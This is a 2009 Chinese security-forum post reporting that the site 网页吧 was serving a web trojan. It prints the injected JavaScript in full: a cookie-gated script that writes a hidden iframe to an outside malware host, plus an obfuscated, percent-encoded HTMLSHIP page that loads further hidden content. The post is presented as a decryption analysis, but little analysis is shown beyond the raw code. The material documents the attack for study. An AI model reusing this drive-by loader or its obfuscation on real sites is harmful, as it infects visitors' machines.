-
-
[原创]网页吧被挂网马追踪及其加密网页的详细解密分析
-
发表于: 2009-5-30 10:05
-
前几天在网上搜索隐藏div的相关信息，找到网页吧的一个网页“不被处罚的DIV隐藏连接”，点击打开，非常卡，心中疑惑，果然不一会跳出来一个exe，网页吧被挂马！！
以图为证
这个js文件放在那个什么江苏建材网，看这个名字就知道这个站也被攻克，做网马服务器了。
http://www.daokers.com/attachments/month_0904/5200941172747.jpg
下面就来追踪一下这个js，js的内容为
function Get(){
var Then = new Date()
Then.setTime(Then.getTime() + 24*60*60*1000)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookie1="
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){
} else
{ document.cookie = "Cookie1=risb;expires="+ Then.toGMTString()
document.write("<div style=\"display:none\">");
document.writeln("<IFRaME src=\"http://f.9de4t.cn/d1/04/index.htm?02\" width=50 height=1><\/IFRAME>");
document.write ('<script language="javascript" type="text/javascript" src="http://js.users.51.la/2644446.js"></script>');
}
}Get();
<br> <br> <br> <iframe src=google.htm width=100 height=0></Iframe> <br> <br> <br> <br> <script src='http://w.cnzz.com/c.php?id=30013805&l=1' language='JavaScript' charset='gb2312'></script> <script language="JavaScript" charset="gb2312" src="http://count7.51much.com/cnt.php?uid=UA-1-12321&style=text&text=网站统计"></script>
<hTmL><hEaD><Meta Name=Encoder Content=HTMLSHIP>
<META HTTP-EQUIV="Expires" CONTENT="-1">
<META NAME="robots" CONTENT="noindex">
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
<META HTTP-EQUIV="imagetoolbar" CONTENT="no">
<noscript><iframe></iframe>
</noscript>
<sCrIpT lAnGuAgE="jAvAsCrIpT"><!--
rZ93=3483;function bU99(nC72){vA69("%3B%66%6F%72%28%76%61%72%20%72%41%33%35%3D%30%3B%72%41%33%35%3C%31%36%3B%72%41%33%35%2B%2B%29%7B%76%61%72%20%72%65%31%3D%6E%65%77%20%52%65%67%45%78%70%28%6A%43%37%33%2E%63%68%61%72%41%74%28%72%41%33%35%29%2C%5B%22%67%22%5D%29%3B%62%52%36%35%3D%62%52%36%35%2E%72%65%70%6C%61%63%65%28%72%65%31%2C%22%25%22%2B%6E%4A%38%36%2E%63%68%61%72%41%74%28%72%41%33%35%29%29%3B%76%61%72%20%72%65%32%3D%6E%65%77%20%52%65%67%45%78%70%28%6A%43%37%33%2E%63%68%61%72%41%74%28%72%41%33%35%2B%31%36%29%2C%5B%22%67%22%5D%29%3B%62%52%36%35%3D%62%52%36%35%2E%72%65%70%6C%61%63%65%28%72%65%32%2C%22%25%75%22%2B%6E%4A%38%36%2E%63%68%61%72%41%74%28%72%41%33%35%29%29%3B%7D%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%62%52%36%35%29%29%3B")};bU99(0.3888379,eval(unescape("%62%52%33%36%3D%38%39%32%31%3B%69%66%28%64%6F%63%75%6D%65%6E%74%2E%61%6C%6C%29%7B%66%75%6E%63%74%69%6F%6E%20%5F%64%6D%28%29%7B%72%65%74%75%72%6E%20%66%61%6C%73%65%7D%3B%66%75%6E%63%74%69%6F%6E%20%5F%6D%64%6D%28%29%7B%64%6F%63%75%6D%65%6E%74%2E%6F%6E%63%6F%6E%74%65%78%74%6D%65%6E%75%3D%5F%64%6D%3B%73%65%74%54%69%6D%65%6F%75%74%28%22%5F%6D%64%6D%28%29%22%2C%38%30%30%29%7D%3B%5F%6D%64%6D%28%29%3B%7D%64%6F%63%75%6D%65%6E%74%2E%6F%6E%63%6F%6E%74%65%78%74%6D%65%6E%75%3D%6E%65%77%20%46%75%6E%63%74%69%6F%6E%28%22%72%65%74%75%72%6E%20%66%61%6C%73%65%22%29%3B%66%75%6E%63%74%69%6F%6E%20%5F%6E%64%6D%28%65%29%7B%69%66%28%64%6F%63%75%6D%65%6E%74%2E%6C%61%79%65%72%73%7C%7C%77%69%6E%64%6F%77%2E%73%69%64%65%62%61%72%29%7B%69%66%28%65%2E%77%68%69%63%68%21%3D%31%29%72%65%74%75%72%6E%20%66%61%6C%73%65%3B%7D%7D%3B%69%66%28%64%6F%63%75%6D%65%6E%74%2E%6C%61%79%65%72%73%29%7B%64%6F%63%75%6D%65%6E%74%2E%63%61%70%74%75%72%65%45%76%65%6E%74%73%28%45%76%65%6E%74%2E%4D%4F%55%53%45%44%4F%57%4E%29%3B%64%6F%63%75%6D%65%6E%74%2E%6F%6E%6D%6F%75%73%65%64%6F%77%6E%3D%5F%6E%64%6D%3B%7D%65%6C%73%65%7B%64%6F%63%75%6D%65%6E%74%2E%6F%6E%6D%6F%75%73%65%75%70%3D%5F%6E%64%6D%3B%7D%3B%71%4B%34%3D%36%36%33%33%3B%66%49%36%39%3D%36%33%34%3B%66%75%6E%63%74%69%6F%6E%20%5F%64%77%73%28%29%7B%77%69%6E%64%6F%77%2E%73%74%61%74%75%73%20%3D%20%22%20%22%3B%73%65%74%54%69%6D%65%6F%75%74%28%22%5F%64%77%73%28%29%22%2C%31%30%30%29%3B%7D%3B%5F%64%77%73%28%29%3B%6E%58%38%33%3D%36%31%3B%74%41%35%37%3D%36%33%31%3B%66%75%6E%63%74%69%6F%6E%20%5F%64%64%73%28%29%7B%69%66%28%64%6F%63%75%6D%65%6E%74%2E%61%6C%6C%29%7B%64%6F%63%75%6D%65%6E%74%2E%6F%6E%73%65%6C%65%63%74%73%74%61%72%74%3D%66%75%6E%63%74%69%6F%6E%20%28%29%7B%72%65%74%75%72%6E%20%66%61%6C%73%65%7D%3B%73%65%74%54%69%6D%65%6F%75%74%28%22%5F%64%64%73%28%29%22%2C%37%30%30%29%7D%7D%3B%5F%64%64%73%28%29%3B%72%4F%31%37%3D%31%37%37%34%3B%68%4C%38%32%3D%35%37%37%35%3B%69%66%28%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2E%70%72%6F%74%6F%63%6F%6C%2E%69%6E%64%65%78%4F%66%28%22%66%69%6C%65%22%29%21%3D%2D%31%29%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%22%22%3B%79%57%38%37%3D%38%36%33%33%3B%65%5A%36%31%3D%39%32%30%33%3B%66%75%6E%63%74%69%6F%6E%20%5F%6E%72%28%29%7B%72%65%74%75%72%6E%20%74%72%75%65%7D%6F%6E%65%72%72%6F%72%3D%5F%6E%72%3B%6D%48%31%32%3D%33%37%37%37%3B%63%45%37%37%3D%37%37%37%38%3B%66%75%6E%63%74%69%6F%6E%20%5F%64%70%62%28%29%7B%66%6F%72%28%69%3D%30%3B%69%3C%64%6F%63%75%6D%65%6E%74%2E%61%6C%6C%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%69%66%28%64%6F%63%75%6D%65%6E%74%2E%61%6C%6C%5B%69%5D%2E%73%74%79%6C%65%2E%76%69%73%69%62%69%6C%69%74%79%21%3D%22%68%69%64%64%65%6E%22%29%64%6F%63%75%6D%65%6E%74%2E%61%6C%6C%5B%69%5D%2E%73%74%79%6C%65%2E%76%69%73%69%62%69%6C%69%74%79%3D%22%68%69%64%64%65%6E%22%3B%7D%3B%77%69%6E%64%6F%77%2E%6F%6E%62%65%66%6F%72%65%70%72%69%6E%74%3D%5F%64%70%62%3B%6A%55%39%31%3D%37%32%30%36%3B%70%58%36%34%3D%37%37%37%35%3B%6F%4B%32%34%3D%38%39%31%38%3B%75%53%39%34%3D%35%37%37%38%3B%74%47%35%34%3D%36%39%32%31%3B%69%44%31%39%3D%39%32%32%3B%67%59%34%31%3D%36%39%31%38%3B%66%52%39%38%3D%34%33%35%30%3B%75%4A%36%36%3D%32%30%36%32%3B%6B%48%33%31%3D%36%30%36%33%3B%72%58%34%35%3D%35%34%39%30%3B%3B%5F%6C%69%63%65%6E%73%65%64%5F%74%6F%5F%3D%22%68%75%79%75%66%65%6E%67%22%3B%76%41%36%39%3D%66%75%6E%63%74%69%6F%6E%28%73%29%7B%65%76%61%6C%28%75%6E%65%73%63%61%70%65%28%73%29%29%7D%3B%77%4E%35%33%3D%34%37%35%38%3B")),0.8506184,vA69("%6A%43%37%33%3D%22%52%77%69%49%74%4E%4A%6C%68%6B%56%51%6D%58%6F%4D%4F%53%57%48%6A%76%73%4C%50%70%78%54%4B%72%6E%71%22%3B%6E%4A%38%36%3D%22%30%31%32%33%34%35%36%37%38%39%41%42%43%44%45%46%22"),0.4017393,bR65="i2iBi2iBi2iBi2iBi2iBi2iBi2iBi2RDRAICN3t3N2t9N0N4i0tCt1tEt7N5t1t7t5IDi2JAJ1l6J1l3J3l2J9l0l4i2IERDRAl7J9JEJ4JFl7iEJFJEJ5l2l2JFl2IDJ6l5JEJ3l4J9JFJEi8i9lBl2J5l4l5l2JEi0l4l2l5J5IBlDRDRAJ6l5JEJ3l4J9JFJEi0J9JEJ9l4i8i9lBJ4JFJ3l5JDJ5JEl4iEl7l2J9l4J5i8i9IBlDRDRAl7J9JEJ4JFl7iEJFJEJCJFJ1J4i0IDi0J9JEJ9l4IBRDRAJ9J6i8J4JFJ3l5JDJ5JEl4iEJ3JFJFJBJ9J5iEJ9JEJ4J5l8tFJ6i8i2l7l5J4J9l8J9J1JFlAJ9IDi2i9IDIDiDI1i9RDRAlBRDRAl6J1l2i0JBJ2JBl3IDi2JBJ2l3l4J7i2IBRDRAl6J1l2i0l3JBl0J1JFl0J1JFIDJEJ5l7i0t4J1l4J5i8i9IBRDRAl6J1l2i0J5l8l0J9l2J5l3IDJEJ5l7i0t4J1l4J5i8i9IBRDRAJ5l8l0J9l2J5l3iEl3J5l4N4J9JDJ5i8J5l8l0J9l2J5l3iEJ7J5l4N4J9JDJ5i8i9iBI2I4iAI6I0iAI6I0iAI1I0I0I0i9IBRDRAJ4JFJ3l5JDJ5JEl4iEJ3JFJFJBJ9J5IDi2l7l5J4J9l8J9J1JFlAJ9IDN9J5l3IBl0J1l4J8IDiFIBJ5l8l0J9l2J5l3IDi2iBJ5l8l0J9l2J5l3iEl4JFt7tDN4N3l4l2J9JEJ7i8i9IBRDRAJ9J6i8JEJ1l6J9J7J1l4JFl2iEl5l3J5l2t1J7J5JEl4iEl4JFtCJFl7J5l2t3J1l3J5i8i9iEJ9JEJ4J5l8tFJ6i8i2JDl3J9J5i2i9IEI0i9RDRAlBRDRAJ4JFJ3l5JDJ5JEl4iEl7l2J9l4J5i8i7ICJFJ2JAJ5J3l4i0J3JCJ1l3l3J9J4IDi2J3JCl3J9J4IAJ4I2I7J3J4J2i2iBi2I6J5iDJ1J5I6J4iDI1I1J3J6iDI9I6J2I8iDI4I4I4I5I5I3I5I4I0I0I0I0i2i0J3JFJ4J5J2J1l3J5IDi2J8l4l4l0IAiFiFJ4JFl7JEJCJFJ1J4iEJDJ1J3l2JFJDJ5J4J9J1iEJ3JFJDiFl0l5J2iFl3J8JFJ3JBl7J1l6J5iFJ3J1J2l3iFJ6JCJ1l3J8iFl3l7J6JCJ1l3J8iEJ3J1J2i3l6J5l2l3J9JFJEIDI4iCI0iCI1I9iCI0i2i0l7J9J4l4J8IDi2I0i2i0J8J5J9J7J8l4IDi2I0i2i0J1JCJ9J7JEIDi2JDJ9J4J4JCJ5i2IEi7i9IBRDRAJ4JFJ3l5JDJ5JEl4iEl7l2J9l4J5i8i7ICl0J1l2J1JDi0JEJ1JDJ5IDi2J1JCJCJFl7N3J3l2J9l0l4t1J3J3J5l3l3i2i0l6J1JCl5J5IDi2l3J1JDJ5t4JFJDJ1J9JEi2iFIEi7i9IBRDRARDRAJ4JFJ3l5JDJ5JEl4iEl7l2J9l4J5i8i7ICl0J1l2J1JDi0JEJ1JDJ5IDi2JDJFl6J9J5i2i0l6J1JCl5J5IDi2J9J5iEl3l7J6i2iFIEi7i9IBRDRAJ4JFJ3l5JDJ5JEl4iEl7l2J9l4J5i8i7ICl0J1l2J1JDi0JEJ1JDJ5IDi2l1l5J1JCJ9l4l9i2i0l6J1JCl5J5IDi2J8J9J7J8i2iFIEi7i9IBRDRAJ4JFJ3l5JDJ5JEl4iEl7l2J9l4J5i8i7ICl0J1l2J1JDi0JEJ1JDJ5IDi2J2J7J3JFJCJFl2i2i0l6J1JCl5J5IDi2i3J6J6J6J6J6J6i2iFIEi7i9IBRDRAJ4JFJ3l5JDJ5JEl4iEl7l2J9l4J5i8i7ICJ5JDJ2J5J4i0l3l2J3IDi2J9J5iEl3l7J6i2iFIEi7i9IBRDRAJ4JFJ3l5JDJ5JEl4iEl7l2J9l4J5i8i7ICiFJFJ2JAJ5J3l4IEi7i9IBRDRAlDRDRAJ5JCl3J5RDRAlBRDRAJ4JFJ3l5JDJ5JEl4iEl7l2J9l4J5i8i2ICt5tDt2t5t4i0l3l2J3IDJ6J6iEl3l7J6i0l7J9J4l4J8IDI0i0J8J5J9J7J8l4IDI0IEi2i9IBRDRAlDRDRAJ4JFJ3l5JDJ5JEl4iEl7l2J9l4J5JCJEi8i2ICJ9J6l2J1JDJ5i0l3l2J3IDJ1JCJCiEJ8l4JDi0l7J9J4l4J8IDI1I0I0i0J8J5J9J7J8l4IDI0IEICNCiFJ9J6l2J1JDJ5IEi2i9IBlDRDRARDRAICiFN3t3N2t9N0N4IERDRAICiFt2tFt4N9IEICiFt8N4tDtCIE");//--></sCrIpT></hEaD><boDY></bOdY></hTmL>
[招生]科锐逆向工程师培训(2024年11月15日实地，远程教学同时开班, 第51期)
|
|
|---|---|
|
|
|
|
|
|
|
|
 很详细 没想到网马也可以这么写
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
